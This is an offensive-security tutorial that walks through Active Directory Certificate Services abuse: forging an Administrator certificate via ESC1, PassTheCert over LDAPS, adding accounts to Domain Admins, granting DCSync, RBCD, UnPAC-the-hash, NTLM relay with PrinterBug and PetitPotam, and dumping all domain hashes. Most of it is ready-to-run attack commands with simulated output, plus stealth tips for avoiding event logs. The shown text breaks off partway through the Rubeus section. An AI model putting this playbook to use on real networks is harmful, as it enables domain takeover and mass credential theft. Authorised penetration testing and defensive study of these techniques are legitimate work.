



◆ OFFENSIVE SECURITY SERIES ◆

A DETAILED GUIDE ON

PassTheCert

ADCS Abuse · ESC1–ESC8 · PKINIT · SChannel · Shadow Credentials · DCSync

ADCS

ESC1

PKINIT

SChannel

Certipy

Rubeus

DCSync

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

**■ LEGAL DISCLAIMER**

This guide is produced by RedTeamGarage (RTG) for educational purposes only. PassTheCert and related ADCS abuse techniques must only be used on systems you own or have explicit written authorisation to test. Unauthorised use is a criminal offence. RTG assumes zero liability for misuse.

**TABLE OF CONTENTS**

PassTheCert — Complete Attacker Reference

- 01. INTRODUCTION — ADCS & CERTIFICATE-BASED ATTACKS**
- 02. UNDERSTANDING ADCS ARCHITECTURE**
- 03. CERTIFICATE AUTHENTICATION IN ACTIVE DIRECTORY**
- 04. ESC VULNERABILITY CLASSES — THE FULL MAP**
- 05. TOOLING — CERTIPY, CERTIFY, RUBEUS, PASSTHECERT.PY**
- 06. STEP 1: ENUMERATE ADCS WITH CERTIPY**
- 07. STEP 2: REQUEST A MALICIOUS CERTIFICATE (ESC1)**
- 08. STEP 3: EXTRACT PFX — KEY + CERTIFICATE**
- 09. PASSTHECERT — AUTHENTICATE TO LDAPS VIA CERTIFICATE**
- 10. ATTACK PATH A — ADD ACCOUNT TO DOMAIN ADMINS**
- 11. ATTACK PATH B — SET RBCD FOR LATERAL MOVEMENT**
- 12. ATTACK PATH C — PKINIT UNPAC-THE-HASH → DCSYNC**
- 13. ATTACK PATH D — SHADOW CREDENTIALS (MSDS-KEYCREDENTIALLINK)**
- 14. ESC8 — NTLM RELAY TO AD CS WEB ENROLLMENT**
- 15. WINDOWS ATTACK PATH — CERTIFY + RUBEUS**
- 16. COMBINING PASSTHECERT WITH OTHER TECHNIQUES**
- 17. PIVOTING VIA CERTIFICATE: CROSS-FOREST ATTACKS**
- 18. DETECTION — EVENT IDS & INDICATORS OF COMPROMISE**
- 19. EVASION & OPERATIONAL SECURITY**
- 20. QUICK REFERENCE CHEAT SHEET**

01 — INTRODUCTION: ADCS & CERTIFICATE-BASED ATTACKS

Why Certificates Are the New Credential

Active Directory Certificate Services (ADCS) is Microsoft's Public Key Infrastructure (PKI) implementation, present in the vast majority of enterprise Active Directory environments. Originally designed to issue digital certificates for authentication, encryption, and code signing, ADCS has become one of the most exploited components in modern Active Directory attacks.

The research paper 'Certified Pre-Owned' by Will Schroeder and Lee Christensen (2021) revealed a series of ADCS misconfigurations — classified as ESC1 through ESC8 — that allow attackers to request certificates impersonating any domain user, including Domain Admins, and use them for persistent, credential-independent authentication.

PassTheCert is the technique of using a stolen or maliciously requested X.509 certificate to authenticate directly to LDAPS (LDAP over TLS) using SChannel — bypassing the need for a password or NTLM hash entirely. Once authenticated via certificate, the attacker operates with the full privileges of the impersonated account.

Why PassTheCert Is Operationally Powerful

- ◆ No password or hash required — certificate is the credential
- ◆ Certificates can be valid for years — persistent access even after password resets
- ◆ Certificate authentication generates different event logs than NTLM/Kerberos — easier to
- ◆ LDAPS SChannel auth bypasses many credential-based detections entirely
- ◆ Can be performed from Linux (certipy, passthecert.py) with zero Windows tools
- ◆ Certificates survive password changes — backdoor persists after incident response

Technique	Credential Required	Survives Pw Reset	Generates NTLM Events
Pass-the-Password	Plaintext password	No	Yes
Pass-the-Hash	NT hash	No	Yes
Pass-the-Ticket	Kerberos ticket	No (ticket expires)	No
PassTheCert	X.509 certificate	YES	No

02 — UNDERSTANDING ADCS ARCHITECTURE

Certificate Services Components

ADCS is a role service in Windows Server that provides customisable services for issuing and managing certificates. Understanding its components is essential to identifying and exploiting misconfigurations.

Component	Description	Attack Relevance
Certificate Authority (CA)	Issues, revokes, and manages certificates	Primary exploitation target
Certificate Templates	Define rules for cert issuance (who, what, how)	ESC1-ESC7 live here
CA Web Enrollment	HTTP enrollment interface (certsrv)	ESC8 NTLM relay target
Online Responder (OCSP)	Provides real-time revocation status	Can delay revocation detection
Network Device Enrollment	SCEP protocol for device enrollment	ESC6 abuse path
Certificate Enrollment Policy	Group Policy-based template distribution	Enumeration starting point

Certificate Template Key Attributes

- ◆ msPKI-Certificate-Name-Flag — controls whether enrollee can supply a Subject Alternative
- ◆ msPKI-Enrollment-Flag — controls whether manager approval is required before issuance
- ◆ pkiExtendedKeyUsage — specifies allowed uses (Client Authentication = Kerberos auth capab
- ◆ nTSecurityDescriptor — ACL controlling who can enroll; misconfigured = ESC2/ESC3/ESC4
- ◆ pkiOverlapPeriod / pkiExpirationPeriod — validity window; long = persistent backdoor

RTG NOTE

A template with Client Auth ECU + Enrollee Supplies SAN + low-priv enroll rights = ESC1.
ESC1 is the most common critical finding. Always start enumeration looking for this combo.
Even without ESC1, ESC4 (writable template ACL) lets you CREATE the ESC1 condition yourself.

03 — CERTIFICATE AUTHENTICATION IN ACTIVE DIRECTORY

PKINIT, SChannel & Smart Card Logon

Active Directory supports certificate-based authentication through two primary mechanisms: PKINIT (for Kerberos) and SChannel (for LDAPS). Both allow a client to prove identity using the private key corresponding to a certificate issued by a trusted CA.

PKINIT — Certificate to Kerberos TGT

PKINIT (Public Key Cryptography for Initial Authentication) is an extension to Kerberos that allows a client to authenticate to the KDC using a certificate instead of a password. The KDC validates the certificate chain and issues a TGT for the account matching the certificate's Subject or UPN (User Principal Name) SAN.

\$ PKINIT Authentication

```
# PKINIT flow:
# 1. Client sends AS-REQ with certificate in PA-PK-AS-REQ preauthentication data
# 2. KDC validates cert chain against trusted CAs
# 3. KDC issues TGT for the account specified in cert's UPN SAN
# 4. Client uses TGT for all further Kerberos authentication

# certipy: PKINIT authentication
certipy auth -pfx administrator.pfx -domain corp.local -dc-ip 192.168.10.5

# Rubeus: PKINIT authentication (Windows)
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /ptt
```

SChannel — Certificate to LDAPS Session (PassTheCert)

SChannel (Secure Channel) is the Windows TLS implementation. LDAP over TLS (LDAPS, port 636) supports mutual TLS authentication where the client presents a certificate. The DC validates the client certificate and maps it to an AD account — granting LDAP access with that account's full privileges. This is the mechanism passthecert.py exploits.



\$ SChannel LDAPS Authentication

```
# SChannel / LDAPS client certificate auth flow:
# 1. Client opens TLS connection to DC on port 636
# 2. During TLS handshake, client presents its X.509 certificate
# 3. DC maps cert to AD account via UPN SAN or Subject field
# 4. LDAP session runs with that account's full AD privileges

# passthecert.py: LDAPS SChannel auth
python3 passthecert.py -action whoami \
    -cert administrator.crt -key administrator.key \
    -domain corp.local -dc-ip 192.168.10.5

# Output: Authenticated as CN=Administrator,CN=Users,DC=corp,DC=local
```



04 — ESC VULNERABILITY CLASSES — THE FULL MAP

Certified Pre-Owned: ESC1 through ESC11

ESC	Vulnerability	Exploitability	Impact
ESC1	Template allows enrollee-supplied SAN + ClientAuth	Any domain user	DA via forged UPN
ESC2	Template has Any Purpose EKU or no EKU	Any domain user	Cert usable for any purpose
ESC3	Template used as enrollment agent (request on behalf of)	Any domain user	Impersonate any user
ESC4	Writable ACL on vulnerable template	Write perm on template	Modify template → ESC1
ESC5	Writable ACL on CA/PKI objects	Write perm on CA object	Forge certificates
ESC6	CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag	Any domain user	SAN in any template
ESC7	CA allows non-admins to manage certificates	Manage CA right	Issue/approve any cert
ESC8	AD CS Web Enrollment lacks Extended Protection	Network access	NTLM relay → cert
ESC9	No security extension in cert (no SID binding)	Cert without SID ext	UPN swap abuse
ESC10	Weak cert mapping (legacy mode)	Weaker cert mapping	Cert spoofing
ESC11	NTLM relay to ICertPassage RPC interface	Network access	RPC relay → cert

RTG NOTE

ESC1 is the most impactful and most commonly found misconfiguration in production.

ESC4 is the pivot: if you can write a template, you can create ESC1 conditions.

ESC8 requires network position (relay) but no existing cert — pure network attack.



05 — TOOLING

Certipy · Certify · Rubeus · passthecert.py

Tool	Platform	Purpose	Install
Certipy	Linux	Full ADCS enum, request, relay, auth	pip install certipy-ad
Certify.exe	Windows	ADCS enum and certificate requests	Compile from GhostPack
Rubeus.exe	Windows	Kerberos: PKINIT, S4U, TGT ops	Compile from GhostPack
passthecert.py	Linux	SChannel LDAPS auth with cert	github.com/AlmondOffSec
impacket-ntlmrelayx	Linux	NTLM relay to AD CS (ESC8)	pip install impacket
openssl	Linux/Win	PFX ↔ PEM conversion	Pre-installed on Linux

Installation

\$ Tool Installation

```
# Certipy (all-in-one ADCS tool)
pip install certipy-ad

# passthecert.py
git clone https://github.com/AlmondOffSec/PassTheCert.git
cd PassTheCert/Python
pip install -r requirements.txt

# impacket (for ESC8 relay and secretsdump)
pip install impacket
# or: git clone https://github.com/fortra/impacket && pip install .

# openssl (certificate conversion – pre-installed on Kali)
openssl version

# Windows: Download pre-compiled Certify + Rubeus from:
# https://github.com/GhostPack/Certify
# https://github.com/GhostPack/Rubeus
# Or compile from source with Visual Studio
```

06 — STEP 1: ENUMERATE ADCS WITH CERTIPY

Finding Vulnerable Templates & CAs

Enumeration is always the first step. Certipy's find command performs a comprehensive LDAP sweep of the entire ADCS configuration — certificate authorities, templates, enrollment rights, and vulnerability flags — producing both human-readable and JSON output.

\$ Certipy Enumeration

```
# Full ADCS enumeration — low-priv domain user sufficient
certipy find -u jsmith@corp.local -p 'Welcome1!' -dc-ip 192.168.10.5

# Vulnerable templates only (clean output for large environments)
certipy find -u jsmith@corp.local -p 'Welcome1!' -dc-ip 192.168.10.5 -vulnerable

# Text output only (no JSON)
certipy find -u jsmith@corp.local -p 'Welcome1!' -dc-ip 192.168.10.5 -text

# With Pass-the-Hash
certipy find -u jsmith@corp.local -hashes :fc525c9683e8fe06 -dc-ip 192.168.10.5

# With Kerberos ticket
export KRB5CCNAME=jsmith.ccache
certipy find -u jsmith@corp.local -k -dc-ip 192.168.10.5

# Key fields to check in output:
# Vulnerabilities: ESC1, ESC2 ... ESC11
# Enabled: True
# Client Authentication: True
# Enrollee Supplies Subject: True ← ESC1 indicator
# Enrollment Rights: Domain Users ← who can enroll
```

```
root@kali: ~ — Certipy: AD CS Enumeration

(root@kali)-[~]
# certipy find -u jsmith@corp.local -p 'Welcome!!' -dc-ip 192.168.10.5

[*] Finding certificate templates...
[*] Finding certificate authorities...
[+] Found 3 certificate authorities
[+] Found 47 certificate templates

[*] Saving text output to '20241201_certipy.txt'
[*] Saving JSON output to '20241201_certipy.json'

Certificate Authorities
CA Name      : corp-DC01-CA
DNS Name     : DC01.corp.local
Certificate Subject : CN=corp-DC01-CA,DC=corp,DC=local
Vulnerabilities : ESC1, ESC3, ESC8

Certificate Templates
Template Name : UserAuthentication
Vulnerabilities: ESC1 - Enrollee supplies SAN
Client Auth   : True
Enrollee SAN   : True - VULNERABLE

(root@kali)-[~]
# _
```

Figure: Certipy find — ESC1 vulnerability found on UserAuthentication template

RTG TIP

The `-vulnerable` flag filters output to only show exploitable templates — much cleaner in large

Save JSON output: `certipy find ... -json` — parse programmatically for automation.

CA name format for subsequent commands: `DOMAIN\CA-NAME` (e.g., `corp.local\corp-DC01-CA`).

07 — STEP 2: REQUEST A MALICIOUS CERTIFICATE (ESC1)

Forging a Domain Admin Certificate

With ESC1 confirmed, any domain user can request a certificate specifying an arbitrary UPN (User Principal Name) in the Subject Alternative Name — including Administrator or any other privileged account. The CA issues the certificate without verification, because the template is configured to trust enrollee-supplied SANs.

\$ Certificate Request — ESC1

```
# Request certificate with Administrator UPN (ESC1 exploit)
certipy req -u jsmith@corp.local -p 'Welcome1!' \
  -ca corp-DC01-CA \
  -template UserAuthentication \
  -upn administrator@corp.local \
  -dc-ip 192.168.10.5

# Output: administrator.pfx (combined cert + private key)

# Request for any specific user
certipy req -u jsmith@corp.local -p 'Welcome1!' \
  -ca corp-DC01-CA -template UserAuthentication \
  -upn DA_jones@corp.local -dc-ip 192.168.10.5

# ESC6 variant: CA has EDITF_ATTRIBUTESUBJECTALTNAME2
# Any template with Client Auth becomes ESC1-equivalent
certipy req -u jsmith@corp.local -p 'Welcome1!' \
  -ca corp-DC01-CA -template User \
  -upn administrator@corp.local -dc-ip 192.168.10.5

# ESC4: Modify template first, then request
certipy template -u jsmith@corp.local -p 'Welcome1!' \
  -template UserAuthentication -save-old -dc-ip 192.168.10.5
certipy template -u jsmith@corp.local -p 'Welcome1!' \
  -template UserAuthentication -configuration UserAuthentication.json \
  -dc-ip 192.168.10.5

# Then request normally as above
```

```
root@kali: ~ — Certificate Request for Administrator UPN

(root@kali)-[~]
# certipy req -u jsmith@corp.local -p 'Welcome1!' \
  -ca corp-DC01-CA -template UserAuthentication \
  -upn administrator@corp.local -dc-ip 192.168.10.5

[*] Requesting certificate via RPC...
[*] Target: DC01.corp.local
[*] CA: corp-DC01-CA
[*] Template: UserAuthentication
[+] Request ID is 47
[*] Downloading certificate...
[+] Got certificate with UPN 'administrator@corp.local'
[+] Certificate object SID is 'S-1-5-21-...-500'
[+] Saved certificate and private key to 'administrator.pfx'

(root@kali)-[~]
# ls -lh administrator.pfx
-rw----- 1 root root 2.8K Dec 01 14:32 administrator.pfx

(root@kali)-[~]
# _
```

Figure: certipy req — certificate issued for administrator@corp.local UPN, saved as administrator.pfx



08 — STEP 3: EXTRACT PFX — KEY + CERTIFICATE

Converting PFX for passthecert.py

Certipy saves the certificate and private key as a combined .pfx (PKCS#12) file. For passthecert.py's LDAPS SChannel authentication, the certificate and key need to be extracted as separate PEM files using openssl.

\$ PFX Extraction

```
# Extract private key from PFX
openssl pkcs12 -in administrator.pfx -nocerts -nodes -out administrator.key
# Enter Import Password: (usually empty – press Enter)

# Extract certificate from PFX
openssl pkcs12 -in administrator.pfx -nokeys -out administrator.crt
# Enter Import Password: (usually empty – press Enter)

# Verify extracted certificate
openssl x509 -in administrator.crt -text -noout | grep -A2 'Subject Alt'
# Should show: othername: UPN::administrator@corp.local

openssl x509 -in administrator.crt -text -noout | grep 'Subject:'
# Should show: Subject: CN=administrator

# Verify key matches certificate
openssl x509 -noout -modulus -in administrator.crt | md5sum
openssl rsa -noout -modulus -in administrator.key | md5sum
# Both md5 hashes must match

# List files ready for passthecert.py
ls -la administrator.*
# administrator.pfx administrator.crt administrator.key
```

```

root@kali: ~ — PassTheCert: Add to Domain Admins via LDAPS

(root@kali)~#
# Extract cert+key from PFX for passthecert.py
# openssl pkcs12 -in administrator.pfx -nocerts -nodes -out administrator.key
Enter Import Password: (empty)
[+] Private key extracted: administrator.key

# openssl pkcs12 -in administrator.pfx -nokeys -out administrator.crt
Enter Import Password: (empty)
[+] Certificate extracted: administrator.crt

(root@kali)~#
# Use PassTheCert to add user to Domain Admins via LDAPS
# python3 passthecert.py -action modify_group \
  -cert administrator.crt -key administrator.key \
  -domain corp.local -dc-ip 192.168.10.5 \
  -group 'Domain Admins' -account jsmith

[*] Authenticating via LDAPS with client certificate...
[+] SChannel TLS auth successful as: administrator
[+] Adding 'jsmith' to group 'Domain Admins'...
[+] SUCCESS: jsmith is now a member of Domain Admins!

# python3 passthecert.py -action whoami \
  -cert jsmith.crt -key jsmith.key -domain corp.local -dc-ip 192.168.10.5
[+] Authenticated as: CN=jsmith — memberOf: CN=Domain Admins

(root@kali)~#
#

```

Figure: openssl extraction + passthecert.py adding jsmith to Domain Admins via LDAPS cert auth

RTG TIP

If PFX was exported with a password, specify: `openssl pkcs12 -in cert.pfx -passin pass:PASSWORD`

Certipy-generated PFX files are typically passwordless — just press Enter at the prompt.

Keep .key files secure: private key + cert = full impersonation capability.

09 — PASSTHECERT — AUTHENTICATE TO LDAPS VIA CERTIFICATE

passthecert.py: SChannel LDAP Authentication

passthecert.py by AlmondOffSec implements LDAPS client certificate authentication using Python's SSL SChannel bindings. Once authenticated as the impersonated account, it can perform a range of LDAP operations — adding accounts, modifying group membership, setting RBCD, resetting passwords, and more.

\$ passthecert.py Usage

```
# Verify authentication — whoami
python3 passthecert.py -action whoami \
  -cert administrator.crt -key administrator.key \
  -domain corp.local -dc-ip 192.168.10.5

# Expected output:
# [+] Authenticated as: CN=Administrator,CN=Users,DC=corp,DC=local

# All supported actions:
# whoami           — verify auth, show DN of authenticated user
# add_computer     — add a new computer account to the domain
# del_computer     — remove a computer account
# modify_group     — add/remove a user from a group
# set_rbcd         — configure RBCD delegation
# grant_dcsync     — grant DCSync rights to an account
# set_shadowcreds  — add shadow credentials to an account
# reset_password   — force-reset an account's password

# Common flags:
# -cert FILE       — path to PEM certificate
# -key FILE        — path to PEM private key
# -domain DOMAIN   — target domain FQDN
# -dc-ip IP        — Domain Controller IP
# -port 636        — LDAPS port (default)
```

RTG NOTE

Port 636 (LDAPS) must be reachable on the DC — confirm with: `openssl s_client -connect DC:636`

If LDAP channel binding is enforced, plain LDAP (389) will fail — LDAPS is required.

passthecert.py only needs the .crt and .key files — the PFX is not required directly.

10 — ATTACK PATH A: ADD ACCOUNT TO DOMAIN ADMINS

Direct Privilege Escalation via LDAPS

The most direct escalation path: use the forged Administrator certificate to authenticate to LDAPS and add a controlled account directly to the Domain Admins group. This requires the certificate to be for an account with sufficient privileges.

\$ Domain Admin Group Add / DCSync Grant

```
# Add your controlled user to Domain Admins
python3 passthecert.py -action modify_group \
    -crt administrator.crt -key administrator.key \
    -domain corp.local -dc-ip 192.168.10.5 \
    -group 'Domain Admins' \
    -account jsmith

# Verify membership
python3 passthecert.py -action whoami \
    -crt jsmith.crt -key jsmith.key \
    -domain corp.local -dc-ip 192.168.10.5

# Alternatively – grant DCSync rights to your account
python3 passthecert.py -action grant_dcsync \
    -crt administrator.crt -key administrator.key \
    -domain corp.local -dc-ip 192.168.10.5 \
    -target jsmith

# Now DCSync from jsmith
impacket-secretsdump corp.local/jsmith:'Welcome1!'@192.168.10.5 -just-dc-ntlm

# Or reset a known account's password to something you control
python3 passthecert.py -action reset_password \
    -crt administrator.crt -key administrator.key \
    -domain corp.local -dc-ip 192.168.10.5 \
    -target DA_jones -new-password 'RTGpwned@2024!'
```

RTG OPSEC

Adding yourself to Domain Admins is noisy — generates group modification events (4728).

DCSync grant is quieter — only modifies ACL on domain NC root object.

Password reset generates Evt 4723/4724 — prefer DCSync grant for stealth.

11 — ATTACK PATH B: SET RBCD FOR LATERAL MOVEMENT

Resource-Based Constrained Delegation via Certificate

Resource-Based Constrained Delegation (RBCD) allows a controlled computer account to impersonate any domain user to a target service. By using PassTheCert to set RBCD, an attacker can achieve code execution on any machine as any user — including domain admins.

\$ RBCD via PassTheCert

Step 1: Add a computer account (any domain user can do this by default)

```
python3 passthecert.py -action add_computer \  
-crt administrator.crt -key administrator.key \  
-domain corp.local -dc-ip 192.168.10.5 \  
-computer-name FAKEMACHINE$ \  
-computer-pass 'RTG@2024!'
```

Step 2: Set RBCD — delegate FROM our machine TO target machine

```
python3 passthecert.py -action set_rbcd \  
-crt administrator.crt -key administrator.key \  
-domain corp.local -dc-ip 192.168.10.5 \  
-delegate-from 'FAKEMACHINE$' \  
-delegate-to 'DC01$'
```

Step 3: Get service ticket impersonating Administrator to DC01

```
impacket-getST -spn cifs/DC01.corp.local \  
corp.local/FAKEMACHINE$: 'RTG@2024!' \  
-impersonate Administrator -dc-ip 192.168.10.5  
  
export KRB5CCNAME=Administrator@cifs_DC01.corp.local@CORP.LOCAL.ccache
```

Step 4: PSEXEC / SMBEXEC / SECRETS DUMP as Administrator

```
impacket-psexec -k -no-pass Administrator@DC01.corp.local  
impacket-secretsdump -k -no-pass DC01.corp.local
```

```
root@kali: ~ — PassTheCert: LDAP Auth + RBCD Setup

(root@kali)-[~]
# python3 passthecert.py -action whoami \
  -cert administrator.crt -key administrator.key \
  -domain corp.local -dc-ip 192.168.10.5

[*] Connecting to LDAP via SChannel (TLS client auth)...
[+] Authenticated as: CN=Administrator,CN=Users,DC=corp,DC=local
[+] Authenticated via: Certificate (PassTheCert)

(root@kali)-[~]
# python3 passthecert.py -action add_computer \
  -cert administrator.crt -key administrator.key \
  -domain corp.local -dc-ip 192.168.10.5 \
  -computer-name FAKEMACHINE$ -computer-pass 'RTG@2024!'

[*] Adding computer account: FAKEMACHINE$
[+] Successfully added computer account 'FAKEMACHINE$' to domain
[+] Password: RTG@2024!

(root@kali)-[~]
# python3 passthecert.py -action set_rbcd \
  -cert administrator.crt -key administrator.key \
  -domain corp.local -dc-ip 192.168.10.5 \
  -delegate-from FAKEMACHINE$ -delegate-to DC01$

[*] Setting RBCD: FAKEMACHINE$ → DC01$
[+] Successfully configured Resource-Based Constrained Delegation
[+] DC01$ now trusts FAKEMACHINE$ to act on behalf of any user

(root@kali)-[~]
# _
```

Figure: PassTheCert — whoami via cert, add computer, set RBCD on DC01\$



12 — ATTACK PATH C: PKINIT UNPAC-THE-HASH → DCSYNC

Certificate → NT Hash → Domain Compromise

UnPAC-the-Hash is a technique that exploits the PKINIT authentication flow to recover the account's NT hash. When PKINIT is used, the KDC encrypts a portion of the AS-REP using the account's NT hash. An attacker with the certificate can decrypt this and extract the NT hash — enabling Pass-the-Hash and DCSync without ever knowing the password.

\$ UnPAC-the-Hash → DCSync → Golden Ticket

```
# Step 1: Authenticate with certificate → get TGT + NT hash
certipy auth -pfx administrator.pfx \
  -domain corp.local \
  -dc-ip 192.168.10.5

# Output:
# [+] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [+] Trying to retrieve NT hash for 'administrator'
# [+] Got hash for 'administrator@corp.local': aad3b435...:fc525c9683e8fe06

# Step 2: Use NT hash for Pass-the-Hash
impacket-psexec corp.local/administrator@192.168.10.5 \
  -hashes aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe06

# Step 3: DCSync — dump all domain hashes
impacket-secretsdump corp.local/administrator@192.168.10.5 \
  -hashes aad3b435b51404ee:fc525c9683e8fe06 -just-dc-ntlm

# Step 4: Golden Ticket with recovered krbtgt hash
impacket-ticketer -nthash <krbtgt_hash> \
  -domain-sid S-1-5-21-... \
  -domain corp.local \
  Administrator

export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass Administrator@DC01.corp.local
```

```
root@kali: ~ — PKINIT UnPAC-the-Hash → DCSync

(root@kali)-[~]
# # Step 1: Get NTLM hash via PKINIT UnPAC-the-hash
# certipy auth -pfx administrator.pfx -domain corp.local -dc-ip 192.168.10.5

[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[+] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[+] Got hash for 'administrator@corp.local': aad3b435b51404ee:fc525c9683e8fe06

(root@kali)-[~]
# # Step 2: DCSync using recovered NT hash
# impacket-secretsdump corp.local/administrator@192.168.10.5 \
  -hashes aad3b435b51404ee:fc525c9683e8fe06 -just-dc-ntlm

[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404ee:fc525c9683e8fe06:::
krbtgt:502:aad3b435b51404ee:7b15b8b9c2b32f0b:::
CORP.LOCAL\DA_jones:1150:aad3b435b51404ee:3d8b2f4a6e9c1a7b:::
DC01s:1000:aad3b435b51404ee:b9f4alc2d3e8f6a7::: [DC machine hash]
... [+] 247 accounts dumped

(root@kali)-[~]
# _
```

Figure: certipy auth — NT hash recovered via PKINIT, then DCSync dumps all domain hashes

13 — ATTACK PATH D: SHADOW CREDENTIALS

msDS-KeyCredentialLink Backdoor

Shadow Credentials is a persistence technique that adds a Key Credential (certificate) to a target account's msDS-KeyCredentialLink attribute. This allows authentication as that account using the credential — even if the password changes — because PKINIT uses the key credential, not the password.

\$ Shadow Credentials

```
# Add shadow credential to target account (requires write on target)
python3 passthecert.py -action set_shadowcreds \
  -cert administrator.crt -key administrator.key \
  -domain corp.local -dc-ip 192.168.10.5 \
  -target DA_jones

# Output: saves DA_jones_shadowcred.pfx

# Alternatively with certipy
certipy shadow auto -u jsmith@corp.local -p 'Welcome1!' \
  -account DA_jones -dc-ip 192.168.10.5

# Authenticate as DA_jones using shadow credential
certipy auth -pfx DA_jones_shadow.pfx \
  -domain corp.local -dc-ip 192.168.10.5

# [+] Got hash for 'DA_jones@corp.local': aad3b435...:3d8b2f4a6e9c1a7b

# Remove shadow credential (cleanup)
certipy shadow clear -u jsmith@corp.local -p 'Welcome1!' \
  -account DA_jones -dc-ip 192.168.10.5

# Check for existing shadow credentials (enum)
certipy find -u jsmith@corp.local -p 'Welcome1!' -dc-ip 192.168.10.5 \
  | grep -A5 'Shadow Credentials'
```

RTG TIP

Shadow Credentials require write access on msDS-KeyCredentialLink — check ACLs first.
More stealthy than password reset — no event 4723/4724, just an attribute modification.
Survives password changes — ideal for persistence after initial compromise.

14 — ESC8: NTLM RELAY TO AD CS WEB ENROLLMENT

Network Attack — No Cert Required to Start

ESC8 is particularly dangerous because it requires no existing certificate — only network access. By relaying NTLM authentication to the AD CS Web Enrollment interface, an attacker can request a certificate on behalf of any relayed account, including Domain Controllers.

\$ ESC8: NTLM Relay Attack

```
# Confirm ESC8: CA web enrollment accessible without Extended Protection
certipy find -u jsmith@corp.local -p 'Welcome1!' -dc-ip 192.168.10.5 -vulnerable
# Look for: 'Web Enrollment' and 'ESC8' in output

# Step 1: Start NTLM relay to AD CS web enrollment
impacket-ntlmrelayx \
  -t http://192.168.10.5/certsrv/certfnsh.asp \
  --adcs \
  --template DomainController

# Step 2: Trigger DC to authenticate to attacker (SpoolSample / PrinterBug)
python3 printerbug.py corp.local/jsmith:'Welcome1!'@DC01.corp.local 192.168.10.99

# OR trigger with PetitPotam (no creds needed on unpatched DCs)
python3 PetitPotam.py -u '' -p '' 192.168.10.99 192.168.10.5

# Step 3: ntlmrelayx captures DC cert → DC01$.pfx
# [+] Certificate for DC01$ saved to DC01$.pfx

# Step 4: Authenticate as DC01$ → get DC machine hash
certipy auth -pfx 'DC01$.pfx' -dc-ip 192.168.10.5
# [+] Got hash for 'DC01$@corp.local': aad3b435...:e8f1a2b3c4d5

# Step 5: DCSync with DC machine account hash
impacket-secretsdump corp.local/'DC01$'@192.168.10.5 \
  -hashes aad3b435b51404ee:e8f1a2b3c4d5 -just-dc-ntlm
```

```
root@kali: ~ — ESC8: NTLM Relay to AD CS + DC Certificate

(root@kali)~#
# ESC8: NTLM relay to AD CS Web Enrollment → get DC cert
# Terminal 1: Start NTLM relay to CA web enrollment
# impacket-ntlmrelayx -t http://192.168.10.5/certsrv/certfnsh.asp \
  --adcs --template DomainController

[*] Servers started. Listening for connections...
[*] HTTPD: Started HTTP server on port 80
[*] SMBD: Started SMB server on port 445

# Terminal 2: Trigger DC to authenticate (Printerbug/SpoolSample)
# python3 printerbug.py corp.local/jsmith:'Welcome!'@192.168.10.5 192.168.10.99
[*] Impacket v0.11.0 - Triggering DC01 auth to 192.168.10.99...
[+] SpoolSample: DC01$ is connecting...

# Back in Terminal 1:
[*] Incoming connection from DC01$ (192.168.10.5)
[*] NTLM relay → AD CS enrollment for DC01$
[+] Certificate requested for: DC01$
[+] Got certificate! Saved: DC01$.pfx

# Now use DC01$.pfx to get DC's NTLM hash via PKINIT
# certipy auth -pfx DC01$.pfx -dc-ip 192.168.10.5
[+] Got NT hash for 'DC01$': aad3b435:e8f1a2b3c4d5

(root@kali)~#
# _
```

Figure: ESC8 — ntlmrelayx relays DC auth to certsrv, DC01\$.pfx issued, PKINIT hash recovery



15 — WINDOWS ATTACK PATH: CERTIFY + RUBEUS

Full Windows-Side Exploitation

When operating from a Windows foothold, the GhostPack tools Certify.exe and Rubeus.exe provide a fully Windows-native attack path. Certify finds vulnerable templates and requests certificates; Rubeus uses them for PKINIT authentication and pass-the-ticket.

Step 1: Find Vulnerable Templates with Certify.exe

\$ Certify.exe Enumeration & Request

```
# Enumerate vulnerable templates
Certify.exe find /vulnerable

# Enumerate all templates (full picture)
Certify.exe find /all

# Request cert for Administrator UPN
Certify.exe request /ca:corp.local\corp-DC01-CA \
  /template:UserAuthentication \
  /altname:administrator

# Output: RSA private key + certificate in PEM format
# Copy BOTH the -----BEGIN RSA PRIVATE KEY----- and -----BEGIN CERTIFICATE----- blocks
# Save to cert.pem on attacker box, then convert:
openssl pkcs12 -in cert.pem -keyex -CSP 'Microsoft Enhanced...' -export -out cert.pfx
```

Step 2: PKINIT with Rubeus.exe

\$ Rubeus.exe PKINIT + S4U

```
# Get TGT for Administrator using certificate
Rubeus.exe asktgt /user:administrator \
/certificate:administrator.pfx \
/password:'' \
/ptt

# Verify ticket in memory
klist

# S4U2self - impersonate any user to a service
Rubeus.exe s4u /user:FAKEMACHINE$ \
/rc4:<FAKEMACHINE_HASH> \
/impersonateuser:Administrator \
/msdsspn:cifs/DC01.corp.local \
/ptt

# Access DC filesystem as Administrator
dir \\DC01.corp.local\C$
copy \\DC01.corp.local\C$\Windows\NTDS\ntds.dit
```

```
C:\Users\jsmith> Certify.exe find /vulnerable

/_____|_||_|(|)/_|
|_|__ _ _||_|_|_|_ _

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=corp,DC=local'

[!] Vulnerable Certificate Templates :

CA Name           : corp.local\corp-DC01-CA
Template Name     : UserAuthentication
Schema Version    : 2
Validity Period   : 1 year
Client Auth       : True
Enrollee Supplies SAN : True + VULNERABLE (ESC1)
Enrollment Rights : CORP\Domain Users

[*] Certify completed in 00:00:04.1234567

C:\Users\jsmith> _
```

Figure: Certify.exe find — ESC1 on UserAuthentication template, enrollee SAN allowed

```
Administrator: C:\Windows\System32\cmd.exe — Rubeus PKINIT

C:\Users\jsmith> Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:'' /ptt

(=) _ _ _ _ _

[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and target DC01.corp.local
[+] TGT request successful!

ServiceName      : krbtgt/corp.local
ServiceRealm     : CORP.LOCAL
UserName         : administrator
UserRealm        : CORP.LOCAL
StartTime        : 12/1/2024 14:35:01
